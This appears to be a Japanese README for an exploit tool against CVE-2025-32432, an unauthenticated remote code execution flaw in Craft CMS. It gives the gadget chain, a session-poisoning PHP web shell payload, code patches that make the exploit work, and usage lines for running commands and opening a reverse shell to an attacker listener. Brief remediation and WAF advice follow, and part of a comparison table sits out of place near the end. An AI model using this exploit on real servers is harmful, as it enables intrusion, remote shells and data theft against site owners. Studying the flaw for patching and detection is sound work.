CVE-2025-32432 — Craft CMS <= 5.6.16 未認証RCE

深刻度: 緊急 (CVSS 10.0) 認証要否: 不要 影響範囲: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 修正済み: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50

根本原因

AssetsController::actionGenerateTransform() は allowAnonymous として宣言されており、認証なしで到達可能です。ユーザー制御の handle パラメータをそのまま Yii::createObject() に渡します:

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

YiiのDIコンテナは、許可リストなしで2つの特別な配列キーを処理します:

キー	動作
`__class`	宣言された型の代わりにこのクラスをインスタンス化する
`__construct()`	これらの値をコンストラクタ引数として渡す

ガジェットチェーン:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

セッションファイルポイズニングがループを閉じます: PHPのセッションハンドラはGETパラメータの値をそのまま /tmp/sess_<CraftSessionId> に書き込みます。<?=shell_exec($_GET['cmd']);exit;?> をクエリパラメータとして送信すると、攻撃者が制御する既知のパスに実行可能なPHPが植え付けられます。

既存の公開PoCが失敗する理由

1. URLエンコーディングがPHPペイロードを破壊する

Pythonの requests ライブラリは、サーバーに到達する前に <、>、?、= をURLエンコードします。セッションファイルには <?php... (実行可能) ではなく %3C%3Fphp... (無害) が保存されます。

# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";

修正: HTTPConnectionPool._make_request — TCPソケット書き込み前の最終ポイント — をモンキーパッチし、そこで urllib.parse.unquote() を呼び出します:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before send
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. 誤ったセッションCookie名

Craft CMSは PHPSESSID ではなく CraftSessionId を設定します。

# BROKEN
session_id = session.cookies.get("PHPSESSID")   # -> None

# FIXED
session_id = sess.cookies.get("CraftSessionId")

3. トリガーリクエストにCSRFトークンが欠落している

Craftはすべての非匿名POSTアクションでCSRFトークンを検証します。トークンを省略すると 400 Bad Request が発生します。

# BROKEN
requests.post(url, json=payload)

# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

比較表

使用方法

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a PHP reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)

python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

修復

対応	詳細
Craft CMSのアップグレード	3.9.15 / 4.14.15 / 5.6.17 は handle が ImageTransformerInterface を実装していることを検証する
Yii2のアップグレード	2.0.50 は Component::__set における __class インジェクションをブロックする
WAFルール	/actions/assets/generate-transform へのリクエストボディ内の __class または __construct() をブロックする

参考資料

許可されたセキュリティテストおよび教育目的のみに使用してください。

URLエンコーディング	N/A (User-Agent)	BROKEN	BROKEN	FIXED モンキーパッチ済み
Cookie名	N/A	BROKEN PHPSESSID	BROKEN PHPSESSID	FIXED CraftSessionId
トリガー時のCSRF	OK	OK	BROKEN	FIXED
古いログの終了;	BROKEN	N/A	N/A	N/A
/cms プレフィックスで動作	BROKEN	BROKEN	BROKEN	FIXED

CVE-2025-32432

人気